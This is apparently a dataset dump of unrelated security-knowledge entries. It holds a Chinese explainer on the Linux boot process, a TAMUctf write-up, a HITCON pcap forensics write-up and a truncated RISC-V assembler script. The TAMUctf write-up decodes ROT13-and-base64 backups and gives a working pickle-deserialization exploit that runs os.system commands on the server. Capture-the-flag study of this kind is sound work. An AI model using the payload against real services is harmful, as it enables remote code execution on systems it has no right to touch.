text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 启动过程
---
## 开机前
### Wake-on-LAN
OFF 状态表示系统没有上电,没错吧?表面简单,其实不然。例如,如果系统启用了局域网唤醒机制(WOL),以太网指示灯将亮起。通过以下命令来检查是否是这种情况:
```bash
ethtool <interface name>
```
其中 `<interface name>` 是网络接口的名字,比如 eth0。(ethtool 可以在同名的 Linux 软件包中找到。)如果输出中的 Wake-on 显示 g,则远程主机可以通过发送 `魔法数据包` 来启动系统。如果无意远程唤醒系统,也不希望其他人这样做,请在系统 BIOS 菜单中将 WOL 关闭,或者用以下方式:
```bash
ethtool -s <interface name> wol d
```
响应魔法数据包的处理器可能是网络接口的一部分,也可能是底板管理控制器(BMC)。
---
### 英特尔管理引擎、平台控制器单元和 Minix
BMC 不是唯一的在系统关闭时仍在监听的微控制器(MCU)。x86_64 系统还包含了用于远程管理系统的英特尔管理引擎(IME)软件套件。从服务器到笔记本电脑,各种各样的设备都包含了这项技术,它开启了如 KVM 远程控制和英特尔功能许可服务等功能。根据 Intel 自己的检测工具,IME 存在尚未修补的漏洞。坏消息是,要禁用 IME 很难。Trammell Hudson 发起了一个 [me_cleaner](https://github.com/corna/me_cleaner) 项目,它可以清除一些相对恶劣的 IME 组件,比如嵌入式 Web 服务器,但也可能会影响运行它的系统。
---
## 启动
Linux 系统的启动过程可以分为6个阶段
- 引导程序
- 启动内核
- 运行 init
- 系统初始化
- 建立终端
- 用户登录系统
### 引导程序(bootloader)
除了启动那些问题不断的间谍软件外,早期引导固件还有什么功能呢?引导程序的作用是为新上电的处理器提供通用操作系统(如 Linux)所需的资源。在开机时,不但没有虚拟内存,在控制器启动之前连 DRAM 也没有。然后,引导程序打开电源,并扫描总线和接口,以定位内核镜像和根文件系统的位置。U-Boot 和 GRUB 等常见的引导程序支持 USB、PCI 和 NFS 等接口,以及更多的嵌入式专用设备,如 NOR 闪存和 NAND 闪存。引导程序还与 可信平台模块(TPM)等硬件安全设备进行交互,在启动最开始建立信任链。
包括树莓派、任天堂设备、汽车主板和 Chromebook 在内的系统都支持广泛使用的开源引导程序 U-Boot。它没有系统日志,当发生问题时,甚至没有任何控制台输出。为了便于调试,U-Boot 团队提供了一个沙盒,可以在构建主机甚至是夜间的持续集成(CI)系统上测试补丁程序。如果系统上安装了 Git 和 GNU Compiler Collection(GCC)等通用的开发工具,使用 U-Boot 沙盒会相对简单:
在 x86_64 上运行 U-Boot,可以测试一些棘手的功能,如 模拟存储设备 的重新分区、基于 TPM 的密钥操作以及 USB 设备热插拔等。U-Boot 沙盒甚至可以在 GDB 调试器下单步执行。使用沙盒进行开发的速度比将引导程序刷新到电路板上的测试快 10 倍,并且可以使用 `Ctrl + C` 恢复一个“变砖”的沙盒。
### 启动内核
引导程序完成任务后将跳转到已加载到主内存中的内核代码,并开始执行,传递用户指定的任何命令行选项,首先读入 `/boot` 目录下的内核文件。
内核是一个可执行与可链接格式(ELF)的二进制文件(就那个 vmlinuz),就像 Linux 的用户空间程序一样。
ELF 二进制文件有一个解释器,就像 Bash 和 Python 脚本一样,但是解释器不需要像脚本那样用 #! 指定,因为 ELF 是 Linux 的原生格式。ELF 解释器通过调用 `_start()` 函数来用所需资源配置一个二进制文件,这个函数可以从 glibc 源代码包中找到,可以用 GDB 查看。
在引导时,内核需要硬件信息,不仅仅是已编译过的处理器类型。代码中的指令通过单独存储的配置数据进行扩充。有两种主要的数据存储方法:设备树 和 高级配置和电源接口(ACPI)表。内核通过读取这些文件了解每次启动时需要运行的硬件。
对于嵌入式设备,设备树是已安装硬件的清单。设备树只是一个与内核源代码同时编译的文件,通常与 vmlinux 一样位于 `/boot` 目录中。要查看 ARM 设备上的设备树的内容,只需对名称与 `/boot/*.dtb` 匹配的文件执行 binutils 包中的 strings 命令即可,这里 dtb 是指设备树二进制文件。显然,只需编辑构成它的类 JSON 的文件并重新运行随内核源代码提供的特殊 dtc 编译器即可修改设备树。虽然设备树是一个静态文件,其文件路径通常由命令行引导程序传递给内核,但近年来增加了一个设备树覆盖的功能,内核在启动后可以动态加载热插拔的附加设备。
x86 系列和许多企业级的 ARM64 设备使用 ACPI 机制。与设备树不同的是,ACPI 信息存储在内核在启动时通过访问板载 ROM 而创建的 `/sys/firmware/acpi/tables` 虚拟文件系统中。读取 ACPI 表的简单方法是使用 acpica-tools 包中的 acpidump 命令。
与设备树不同,ACPI 具有方法和数据,而设备树更多地是一种硬件描述语言。ACPI 方法在启动后仍处于活动状态。例如,运行 acpi_listen 命令(在 apcid 包中),然后打开和关闭笔记本机盖会发现 ACPI 功能一直在运行。暂时地和动态地 覆盖 ACPI 表 是可能的,而永久地改变它需要在引导时与 BIOS 菜单交互或刷新 ROM。如果你遇到那么多麻烦,也许你应该 安装 coreboot,这是开源固件的替代品。
---
### 运行 init
内核文件加载以后,就开始运行第一个程序 `/sbin/init`,它的作用是初始化系统环境。
当 init 开始运行时,系统就启动啦!由于第二个处理器现在在运行,机器已经成为我们所熟知和喜爱的异步、可抢占、不可预测和高性能的生物。的确,`ps -o pid,psr,comm -p 1` 很容易显示用户空间的 init 进程已不在引导处理器上运行了。
由于 init 是第一个运行的程序,它的进程编号(pid)就是 1。其他所有进程都从它衍生,都是它的子进程, 你可以把它比拟成系统所有进程的老祖宗,没有这个进程,系统中任何进程都不会启动。
**init 程序的类型**
- SysV: init, CentOS 5 之前, 配置文件: `/etc/inittab`
- Upstart: init,CentOS 6, 配置文件: `/etc/inittab`, `/etc/init/*.conf`
- Systemd: systemd, CentOS 7,配置文件: `/usr/lib/systemd/system` 、`/etc/systemd/system`
init 程序首先是需要读取配置文件 `/etc/inittab`,它是运行级别的设置文件。如果你打开它,可以看到第一行是这样的:
```
id:2:initdefault:
```
initdefault 的值是 2,表明系统启动时的运行级别为 2。如果需要指定其他级别,可以手动修改这个值。
**运行级别**
许多程序需要开机启动。它们在 Windows 叫做"服务"(service),在 Linux 就叫做"守护进程"(daemon)。
init 进程的一大任务,就是去运行这些开机启动的程序。
但是,不同的场合需要启动不同的程序,比如用作服务器时,需要启动 Apache,用作桌面就不需要。
Linux 允许为不同的场合,分配不同的开机启动程序,这就叫做"运行级别"(runlevel)。也就是说,启动时根据"运行级别",确定要运行哪些程序。
Linux 系统有 7 个运行级别(runlevel):
- 运行级别 0 : 系统停机状态,系统默认运行级别不能设为 0,否则不能正常启动
- 运行级别 1 : 单用户工作状态,root 权限,用于系统维护,禁止远程登录
- 运行级别 2 : 多用户状态(没有 NFS)
- 运行级别 3 : 完全的多用户状态(有 NFS),登录后进入控制台命令行模式
- 运行级别 4 : 系统未使用,保留
- 运行级别 5 : X11 控制台,登录后进入图形 GUI 模式
- 运行级别 6 : 系统正常关闭并重启,默认运行级别不能设为 6,否则不能正常启动
那么,运行级别 2 有些什么程序呢,系统怎么知道每个级别应该加载哪些程序呢?......回答是每个运行级别在 `/etc` 目录下面,都有一个对应的子目录,指定要加载的程序。
看看 `/etc/rc2.d` 目录中到底指定了哪些程序
可以看到,文件名都是"字母 S+两位数字+程序名"的形式。字母 S 表示 Start,也就是启动的意思(启动脚本的运行参数为 start),如果这个位置是字母 K,就代表 Kill(关闭),即如果从其他运行级别切换过来,需要关闭的程序(启动脚本的运行参数为 stop)。后面的两位数字表示处理顺序,数字越小越早处理,所以第一个启动的程序是 motd,然后是 rpcbing、nfs......数字相同时,则按照程序名的字母顺序启动,所以 rsyslog 会先于 sudo 启动。
---
### 系统初始化
七种预设的"运行级别"各自有一个目录,存放需要开机启动的程序。不难想到,如果多个"运行级别"需要启动同一个程序,那么这个程序的启动脚本,就会在每一个目录里都有一个拷贝。这样会造成管理上的困扰:如果要修改启动脚本,岂不是每个目录都要改一遍?
Linux的解决办法,就是七个 `/etc/rcN.d` 目录里列出的程序,都设为链接文件,指向另外一个目录 `/etc/init.d` ,真正的启动脚本都统一放在这个目录中。init 进程逐一加载开机启动程序,其实就是运行这个目录里的启动脚本。
这样做的另一个好处,就是如果你要手动关闭或重启某个进程,直接到目录 `/etc/init.d` 中寻找启动脚本即可。比如,我要重启 Apache 服务器,就运行下面的命令
```bash
/etc/init.d/apache2 restart
```
---
### 建立终端用户登录
rc 执行完毕后,返回 init。这时基本系统环境已经设置好了,各种守护进程也已经启动了。
init 接下来会打开 6 个终端,以便用户登录系统。在 inittab 中的以下 6 行就是定义了 6 个终端:
```
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
```
从上面可以看出在 2、3、4、5 的运行级别中都将以 respawn 方式运行 mingetty 程序,mingetty 程序能打开终端、设置模式。
同时它会显示一个文本登录界面,这个界面就是我们经常看到的登录界面,在这个登录界面中会提示用户输入用户名,而用户输入的用户将作为参数传给 login 程序来验证用户的身份。
一般来说,用户的登录方式有三种:
- 命令行登录 : init 进程调用 getty 程序(意为get teletype),让用户输入用户名和密码。输入完成后,再调用 login 程序,核对密码(Debian 还会再多运行一个身份核对程序 `/etc/pam.d/login`)。如果密码正确,就从文件 `/etc/passwd` 读取该用户指定的 shell,然后启动这个 shell。
- ssh 登录 : 这时系统调用 sshd 程序(Debian 还会再运行 `/etc/pam.d/ssh`),取代 getty 和 login,然后启动 shell。
- 图形界面登录 : init 进程调用显示管理器,Gnome 图形界面对应的显示管理器为 gdm(GNOME Display Manager),然后用户输入用户名和密码。如果密码正确,就读取 `/etc/gdm3/Xsession`,启动用户的会话。
对于运行级别为 5 的图形方式用户来说,他们的登录是通过一个图形化的登录界面。登录成功后可以直接进入 KDE、Gnome 等窗口管理器。
Linux 的账号验证程序是 login,login 会接收 mingetty 传来的用户名作为用户名参数。
然后 login 会对用户名进行分析:如果用户名不是 root,且存在 `/etc/nologin` 文件,login 将输出 nologin 文件的内容,然后退出。
这通常用来系统维护时防止非 root 用户登录。只有 `/etc/securetty` 中登记了的终端才允许 root 用户登录,如果不存在这个文件,则 root 用户可以在任何终端上登录。
`/etc/usertty` 文件用于对用户作出附加访问限制,如果不存在这个文件,则没有其他限制。
---
### 进入 login shell
所谓 shell,简单说就是命令行界面,让用户可以直接与操作系统对话。用户登录时打开的 shell,就叫做 login shell。
Debian 默认的 shell 是 Bash,它会读入一系列的配置文件。上一步的三种情况,在这一步的处理,也存在差异。
- 命令行登录:首先读入 `/etc/profile`,这是对所有用户都有效的配置;然后依次寻找下面三个文件,这是针对当前用户的配置。
```bash
~/.bash_profile
~/.bash_login
~/.profile
```
需要注意的是,这三个文件只要有一个存在,就不再读入后面的文件了。比如,要是 `~/.bash_profile` 存在,就不会再读入后面两个文件了。
- ssh 登录:与第一种情况完全相同。
- 图形界面登录:只加载 `/etc/profile` 和 `~/.profile`。也就是说,`~/.bash_profile` 不管有没有,都不会运行。
**non-login shell**
用户进入操作系统以后,常常会再手动开启一个 shell。这个 shell 就叫做 non-login shell,意思是它不同于登录时出现的那个 shell,不读取 /etc/profile 和 .profile 等配置文件。
non-login shell 的重要性,不仅在于它是用户最常接触的那个 shell,还在于它会读入用户自己的 bash 配置文件 `~/.bashrc`。大多数时候,我们对于 bash 的定制,都是写在这个文件里面的。
你也许会问,要是不进入 non-login shell,岂不是 `.bashrc` 就不会运行了,因此 bash 也就不能完成定制了?事实上,Debian 已经考虑到这个问题了,请打开文件 `~/.profile`,可以看到下面的代码:
```sh
if [ "$BASH" ]; then
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
fi
```
上面代码先判断变量 $BASH 是否有值,然后判断主目录下是否存在 `.bashrc` 文件,如果存在就运行该文件。第三行开头的那个点,是 source 命令的简写形式,表示运行某个文件,写成 "source ~/.bashrc" 也是可以的。
因此,只要运行 `~/.profile` 文件,`~/.bashrc` 文件就会连带运行。但是之前提到过,如果存在 `~/.bash_profile`文件,那么有可能不会运行 `~/.profile` 文件。解决这个问题很简单,把下面代码写入 `.bash_profile` 就行了。
```sh
if [ -f ~/.profile ]; then
. ~/.profile
fi
```
Bash 的设置之所以如此繁琐,是由于历史原因造成的。早期的时候,计算机运行速度很慢,载入配置文件需要很长时间,Bash 的作者只好把配置文件分成了几个部分,阶段性载入。系统的通用设置放在 `/etc/profile`,用户个人的、需要被所有子进程继承的设置放在 `.profile`,不需要被继承的设置放在 `.bashrc`。
**图形模式与文字模式的切换方式**
Linux 预设提供了六个命令窗口终端机让我们来登录。
默认我们登录的就是第一个窗口,也就是 tty1,这个六个窗口分别为 tty1,tty2 … tty6,你可以按下 `Ctrl + Alt + F1 ~ F6` 来切换它们。
如果你安装了图形界面,默认情况下是进入图形界面的,此时你就可以按 `Ctrl + Alt + F1 ~ F6` 来进入其中一个命令窗口界面。
当你进入命令窗口界面后再返回图形界面只要按下 `Ctrl + Alt + F7` 就回来了。
如果你用的 vmware 虚拟机,命令窗口切换的快捷键为 `Alt + Space + F1~F6`. 如果你在图形界面下请按 `Alt + Shift + Ctrl + F1~F6` 切换至命令窗口。
---
### Linux 关机
在 linux 领域内大多用在服务器上,很少遇到关机的操作。毕竟服务器上跑一个服务是永无止境的,除非特殊情况下,不得已才会关机。
正确的关机流程为:`sync > shutdown > reboot > halt`
关机指令为:`shutdown` ,你可以 `man shutdown` 来看一下帮助文档。
例如你可以运行如下命令关机:
```bash
sync # 将数据由内存同步到硬盘中。
shutdown # 关机指令
shutdown -h 10 'This server will shutdown after 10 mins' # 这个命令告诉大家,计算机将在10分钟后关机,并且会显示在当前登录用户的屏幕中。
shutdown -h now # 立马关机
shutdown -h 20:25 # 系统会在今天20:25关机
shutdown -h +10 # 十分钟后关机
shutdown -r now # 系统立马重启
shutdown -r +10 # 系统十分钟后重启
reboot # 就是重启,等同于 shutdown -r now
halt # 关闭系统,等同于 shutdown -h now 和 poweroff
```
最后总结一下,不管是重启系统还是关闭系统,首先要运行 `sync` 命令,把内存中的数据写到磁盘中。
关机的命令有 `shutdown -h now halt poweroff` 和 `init 0` , 重启系统的命令有 `shutdown -r now reboot init 6`
---
## Source & Reference
- [Linux 系统启动过程](https://www.runoob.com/linux/linux-system-boot.html)
- [Linux 启动过程分析](https://linux.cn/article-9437-1.html)
- [Linux 的启动流程](http://www.ruanyifeng.com/blog/2013/08/linux_boot_process.html)
|
sec-knowleage
|
# VeggieTales
Pwn, 489 points
## Description:
> It's my favorite show to watch while practicing my python skills! I've seen episode 5 at least 13 times.
## Solution:
Let's connect to the service and check it out:
```console
root@kali:/media/sf_CTFs/tamu/VeggieTales# nc pwn.tamuctf.com 8448
Do you like VeggieTales??
1. Add an episode to your watched list
2. Print your watch list
3. Backup your watch list
4. Load your watch list
1
1. Wheres God When Im S-Scared?
2. God Wants Me to Forgive Them!?!
3. Are You My Neighbor?
4. Rack, Shack and Benny
5. Dave and the Giant Pickle
6. The Toy That Saved Christmas
7. Larry-Boy! And the Fib from Outer Space!
8. Josh and the Big Wall!
9. Madame Blueberry
10. Larry-Boy and the Rumor Weed
11. King George and the Ducky
12. Esther... The Girl Who Became Queen
13. Lyle the Kindly Viking
14. The Star of Christmas
15. The Wonderful World of Autotainment
16. The Ballad of Little Joe
17. An Easter Carol
18. A Snoodles Tale
19. Sumo of the Opera
20. Duke and the Great Pie War
21. Minnesota Cuke and the Search for Samsons Hairbrush
22. Lord of the Beans
23. Sheerluck Holmes and the Golden Ruler
24. LarryBoy and the Bad Apple
25. Gideon: Tuba Warrior
26. Moe and the Big Exit
27. The Wonderful Wizard of Has
28. Tomato Sawyer and Huckleberry Larrys Big River Rescue
29. Abe and the Amazing Promise
30. Minnesota Cuke and the Search for Noahs Umbrella
31. Saint Nicholas: A Story of Joyful Giving
32. Pistachio - The Little Boy That Woodnt
33. Sweetpea Beauty: A Girl After Gods Own Heart
34. Its a Meaningful Life
35. Twas The Night Before Easter
36. Princess and the Popstar
37. The Little Drummer Boy
38. Robin Good And His Not-So Merry Men
39. The Penniless Princess
40. The League of Incredible Vegetables
41. The Little House That Stood
42. MacLarry and the Stinky Cheese Battle
43. Merry Larry and the True Light of Christmas
44. Veggies in Space: The Fennel Frontier
45. Celery Night Fever
46. Beauty and the Beet
47. Noahs Ark
Enter an episode (by number) to add to your watched list: 5
episode added!
1. Add an episode to your watched list
2. Print your watch list
3. Backup your watch list
4. Load your watch list
2
----------------------
List of watched episodes:
5. Dave and the Giant Pickle
----------------------
1. Add an episode to your watched list
2. Print your watch list
3. Backup your watch list
4. Load your watch list
3
Episode list backup string (Don't lose it!): tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt==
1. Add an episode to your watched list
2. Print your watch list
3. Backup your watch list
4. Load your watch list
4
Load your backed up list here: tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt==
Loaded backup
1. Add an episode to your watched list
2. Print your watch list
3. Backup your watch list
4. Load your watch list
```
So we can manage our watch list with this service, and even backup and restore it.
The backup string looks like base64, let's try to decode it:
```console
root@kali:/media/sf_CTFs/tamu/VeggieTales# echo tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt | base64 -d
*3P3M5T,2U401l<i24bbase64: invalid input
root@kali:/media/sf_CTFs/tamu/VeggieTales# echo tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt | base64 -d | xxd -g 1
base64: 00000000: b4 d0 2a a4 33 8b 50 33 4d 35 01 e1 54 f3 91 2c ..*.3.P3M5..T..,
00000010: a3 32 55 34 a1 30 f3 b4 9d 31 ed 13 6c ae a1 a0 .2U4.0...1..l...
invalid input
00000020: ed 1d 3c b0 9f 69 32 a4 34 ae 62 ..<..i2.4.b
```
Base64 doesn't really like this.
The description talked about episode 5, which is "Dave and the Giant Pickle", and also mentioned that this service was built over Python. Python + pickle usually hints towards an RCE vulnerability, since pickle deserialization isn't safe assuming the user has control over the input.
We can try to load an exploit such as:
```python
>>> import pickle
>>> class Exploit(object):
... def __reduce__(self):
... import os
... return (os.system,('cat $(find / -name "flag.txt")',))
...
>>> base64.b64encode(pickle.dumps(Exploit()))
'Y250CnN5c3RlbQpwMAooUydjYXQgJChmaW5kIC8gLW5hbWUgImZsYWcudHh0IiknCnAxCnRwMgpScDMKLg=='
```
If we try it, we get:
```console
root@kali:/media/sf_CTFs/tamu/VeggieTales# nc pwn.tamuctf.com 8448
Do you like VeggieTales??
1. Add an episode to your watched list
2. Print your watch list
3. Backup your watch list
4. Load your watch list
4
Load your backed up list here: Y250CnN5c3RlbQpwMAooUydjYXQgJChmaW5kIC8gLW5hbWUgImZsYWcudHh0IiknCnAxCnRwMgpScDMKLg==
Invalid backup
```
So we probably need to figure out the representation of the backup first, before being able to load our own.
This might be base64 with a different dictionary, but brute forcing all the possibilities seemed unfeasible. So, there seemed to be three main options left:
1. The data is encrypted before it is encoded as base64
2. The base64 data is encrypted with some kind of simple cipher that keeps the text property of the input
3. This isn't base64 at all
I spent a lot of time trying to compare different backup strings too see if there are any patterns.
The prefix always seemed to be `tNAqpDOL` so this didn't look like a transposition cipher, but I still couldn't decide between option 1 (is the prefix some kind of IV?) and option 2 (maybe a substitution cipher?), assuming this is related to base64 at all. Nothing seemed to work.
It was reading the description again that gave me the insight I was missing:
> "I've seen episode 5 at least 13 times"
What if the hint is not only "episode 5" (pickle) but also "13 times" - ROT 13!
```python
>>> import pickle, codecs, base64
>>> pickle.loads(base64.b64decode(codecs.decode("tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt==", "rot_13")))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python2.7/pickle.py", line 1388, in loads
return Unpickler(file).load()
File "/usr/lib/python2.7/pickle.py", line 864, in load
dispatch[key](self)
File "/usr/lib/python2.7/pickle.py", line 892, in load_proto
raise ValueError, "unsupported pickle protocol: %d" % proto
ValueError: unsupported pickle protocol: 3
```
This looks much better! Let's move to Python3 and see what we get:
```python
>>> import pickle, codecs, base64
>>> pickle.loads(base64.b64decode(codecs.decode("tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt==", "rot_13")))
['5. Dave and the Giant Pickle']
```
We got it!
Now we can perform our full exploit:
```python
import pickle
import base64
import codecs
from pwn import *
r = remote("pwn.tamuctf.com", 8448)
def read_menu():
r.recvuntil("4. Load your watch list")
def load_backup(backup):
read_menu()
r.sendline("4")
r.sendlineafter("Load your backed up list here: ", backup)
return r.recvuntil("1. Add an episode to your watched list", drop = True).decode("ascii")
CMD = 'cat $(find / -name "flag.txt")'
class Exploit(object):
def __reduce__(self):
import os
return (os.system,(CMD,))
shellcode = pickle.dumps(Exploit())
print (load_backup(codecs.encode(base64.b64encode(shellcode).decode("ascii"), 'rot_13')))
```
Output:
```
root@kali:/media/sf_CTFs/tamu/VeggieTales# python exploit.py
[+] Opening connection to pwn.tamuctf.com on port 8448: Done
find: '/root': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/proc/tty/driver': Permission denied
find: '/proc/1/task/1/fd': Permission denied
find: '/proc/1/task/1/fdinfo': Permission denied
find: '/proc/1/task/1/ns': Permission denied
find: '/proc/1/fd': Permission denied
find: '/proc/1/map_files': Permission denied
find: '/proc/1/fdinfo': Permission denied
find: '/proc/1/ns': Permission denied
find: '/proc/6/task/6/fd': Permission denied
find: '/proc/6/task/6/fdinfo': Permission denied
find: '/proc/6/task/6/ns': Permission denied
find: '/proc/6/fd': Permission denied
find: '/proc/6/map_files': Permission denied
find: '/proc/6/fdinfo': Permission denied
find: '/proc/6/ns': Permission denied
find: '/etc/ssl/private': Permission denied
gigem{d0nt_7rust_th3_g1ant_pick1e}
Loaded backup
[*] Closed connection to pwn.tamuctf.com port 8448
```
|
sec-knowleage
|
# Data and Mining (Forensics, 137p)
In the task we get a rather large pcapng file (230 MB!), but the task was actually rather trivial because the flag was written in plaintext.
Since we didn't expect it to be so, we first did load the file into Network Miner and Wireshark to see what exactly we have there.
Most of is was some strange and random packets but looking around available TCP streams we finally find:
```
{"method":"login","params":{"login":"45duiDz79Y2AtSZH2pw9uV8YXmvtAT8tVNAYrfKTUnYiQZT5BMdRrGD4hbipmZ5DoaQXLak9ENEwYNC7kVk3ivDyMHyZCVV","pass":"hitcon{BTC_is_so_expensive_$$$$$$$}","agent":"xmr-stak-cpu/1.3.0-1.5.0"},"id":1}
{"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"862725926260463","job":{"blob":"0606f0caedcf05fdd86cbe0f15bc3348d604fe35830c579edf14293facd6ea0ccfe3eee4333da700000000fcbc11627100084072bdf490f984a780283662579715458b5b7cc79241b9916813","job_id":"505683845491148","target":"711b0d00"},"status":"OK"}}
{"jsonrpc":"2.0","method":"job","params":{"blob":"0606f0caedcf05fdd86cbe0f15bc3348d604fe35830c579edf14293facd6ea0ccfe3eee4333da700000000cfe1acb5536f58c031d3d283f6b28c6a5ec623199fc3c1a0566452af58c4ccfb13","job_id":"246228154539130","target":"4a861b00"}}
{"method":"submit","params":{"id":"862725926260463","job_id":"246228154539130","nonce":"88030000","result":"193736d498976952b64024ec0a331fbb4cb25b70b3f049ebfdb1b8a49d670f00"},"id":1}
{"id":1,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}
{"method":"submit","params":{"id":"862725926260463","job_id":"246228154539130","nonce":"c6050000","result":"2d88e73d77d30a2433bc278c0e95ccd201072fd8228bdf1549128d4eddde0a00"},"id":1}
{"id":1,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}
{"jsonrpc":"2.0","method":"job","params":{"blob":"0606f0caedcf05fdd86cbe0f15bc3348d604fe35830c579edf14293facd6ea0ccfe3eee4333da70000000080b6cf10161e3dbeae53526958001e18e799232b1c5497829f922e772d2a76f713","job_id":"543452732195146","target":"e3380e00"}}
{"method":"submit","params":{"id":"862725926260463","job_id":"543452732195146","nonce":"17010000","result":"edc5c13d93b28620561c5a8f969fc0df30f8f4b6dafd11e749fe531aa6300200"},"id":1}
{"id":1,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}
{"jsonrpc":"2.0","method":"job","params":{"blob":"0606f0caedcf05fdd86cbe0f15bc3348d604fe35830c579edf14293facd6ea0ccfe3eee4333da700000000feb1a807a7690bfc5207eb5ab80741d918aadab53d2293237ce25f61c994dbc213","job_id":"148255726112984","target":"ce950700"}}
{"jsonrpc":"2.0","method":"job","params":{"blob":"0606a1ccedcf05ffcd054c320a4110c7468c4829f34dd84159522c9ba5e29cb9b1db57d855dde300000000b9978dcdfc7e40c8a7fa8305bb120b5c02e7eca365b2604fc70bc099f119112504","job_id":"753287914698012","target":"ce950700"}}
```
Which contains the flag in plaintext.
It turns out we could have just done `cat inputfile.pcapng | grep hitcon`.
`hitcon{BTC_is_so_expensive_$$$$$$$}`
|
sec-knowleage
|
import argparse
import re
from Crypto.Util.number import long_to_bytes
from crypto_commons.generic import chunk
def reverse_dict_with_iterable(dictionary):
rev = {}
for key, value in dictionary.items():
for item in value:
rev[item] = key
return rev
TYPES_TO_INSTRUCTION = {
'U_TYPE': set(['LUI', 'AUIPC']),
'UJ_TYPE': set(['JAL']),
'SB_TYPE': set(['BEQ', 'BNE', 'BLT', 'BGE', 'BLTU', 'BGEU']),
'I_TYPE': set(
['JALR', 'LB', 'LH', 'LW', 'LBU', 'LHU', 'ADDI', 'SLTI', 'SLTIU', 'XORI', 'ORI', 'ANDI', 'SLLI', 'SRLI',
'SRAI']),
'S_TYPE': set(['SB', 'SH', 'SW']),
'R_TYPE': set(['ADD', 'SUB', 'SLL', 'SLT', 'SLTU', 'XOR', 'SRL', 'SRA', 'OR', 'AND','MUL'])
}
LOAD_INSTRUCTION_NAMES = set([
'LB', 'LH', 'LW', 'LBU', 'LHU'
])
STORE_INSTRUCTION_NAMES = set([
'SB', 'SH', 'SW'
])
INSTRUCTION_TO_TYPE = reverse_dict_with_iterable(TYPES_TO_INSTRUCTION)
OPCODES = {
'LUI': '0110111',
'AUIPC': '0010111',
'JAL': '1101111',
'JALR': '1100111',
'BEQ': '1100011',
'BNE': '1100011',
'BLT': '1100011',
'BGE': '1100011',
'BLTU': '1100011',
'BGEU': '1100011',
'LB': '0000011',
'LH': '0000011',
'LW': '0000011',
'LBU': '0000011',
'LHU': '0000011',
'SB': '0100011',
'SH': '0100011',
'SW': '0100011',
'ADDI': '0010011',
'SLTI': '0010011',
'SLTIU': '0010011',
'XORI': '0010011',
'ORI': '0010011',
'ANDI': '0010011',
'SLLI': '0010011',
'SRLI': '0010011',
'SRAI': '0010011',
'ADD': '0110011',
'SUB': '0110011',
'SLL': '0110011',
'SLT': '0110011',
'SLTU': '0110011',
'XOR': '0110011',
'SRL': '0110011',
'SRA': '0110011',
'OR': '0110011',
'AND': '0110011',
'MUL':'0110011'
}
FUNCT_CODES = {
'JALR': '000',
'BEQ': '000',
'BNE': '001',
'BLT': '100',
'BGE': '101',
'BLTU': '110',
'BGEU': '111',
'LB': '000',
'LH': '001',
'LW': '010',
'LBU': '100',
'LHU': '101',
'SB': '000',
'SH': '001',
'SW': '010',
'ADDI': '000',
'SLTI': '010',
'SLTIU': '011',
'XORI': '100',
'ORI': '110',
'ANDI': '111',
'SLLI': '001',
'SRLI': '101',
'SRAI': '101',
'ADD': '000',
'SUB': '000',
'SLL': '001',
'SLT': '010',
'SLTU': '011',
'XOR': '100',
'SRL': '101',
'SRA': '101',
'OR': '110',
'AND': '111',
'MUL': '000'
}
R_I_TYPE_UPPER_SEVEN_BITS_NORMAL = '0000000'
R_I_TYPE_UPPER_SEVEN_BITS_ALT = '0100000'
def generate_binary_from_instruction(instruction_text):
'''
>>> R_type_test = 'OR x10,x8,x31'
>>> generate_binary_from_instruction(R_type_test)
('00000001111101000110010100110011', 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
>>> R_type_test = 'SUB x10,x8,x30'
>>> generate_binary_from_instruction(R_type_test)
('01000001111001000000010100110011', 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
'''
calculate_register_number_from_name = lambda x: int(x[1:])
instruction_name, remainder = instruction_text.split()
instruction_values = remainder.replace(" ", "").split(',')
instruction_type = INSTRUCTION_TO_TYPE[instruction_name]
if instruction_type == 'U_TYPE':
# unpack u-type instruction
assert len(instruction_values) == 2
register_name = calculate_register_number_from_name(instruction_values[0])
immediate_value = int(instruction_values[1], 0) & 0xFFFFFFFF # convert immediate to integer
immediate_bits = immediate_value
instruction_binary = '{0:020b}{1:05b}{2}'.format(immediate_bits,
register_name,
OPCODES[instruction_name])
immediate_real_pattern = '{0:032b}'.format(immediate_value)
assert len(instruction_binary) == 32
assert len(immediate_real_pattern) == 32
return instruction_binary, immediate_real_pattern
elif instruction_type == 'UJ_TYPE':
# unpack uj-type instruction
assert len(instruction_values) == 2
register_name = calculate_register_number_from_name(instruction_values[0])
immediate_value = int(instruction_values[1], 0) # convert immediate to integer
# get bottom 20 bits of immediate
immediate_bottom_bits = immediate_value & 0x1FFFFF
# pack immedate bits into binary string
immediate_binary_string = '{0:01b}{1:010b}{2:01b}{3:08b}'.format(
(immediate_bottom_bits >> 20) & 0x1,
(immediate_bottom_bits >> 1) & 0x3FF,
(immediate_bottom_bits >> 11) & 0x1,
(immediate_bottom_bits >> 12) & 0xFF)
instruction_binary = '{0}{1:05b}{2}'.format(immediate_binary_string,
register_name,
OPCODES[instruction_name])
sign_extension_pattern = 11 * '{0}'.format(immediate_value >> 20)
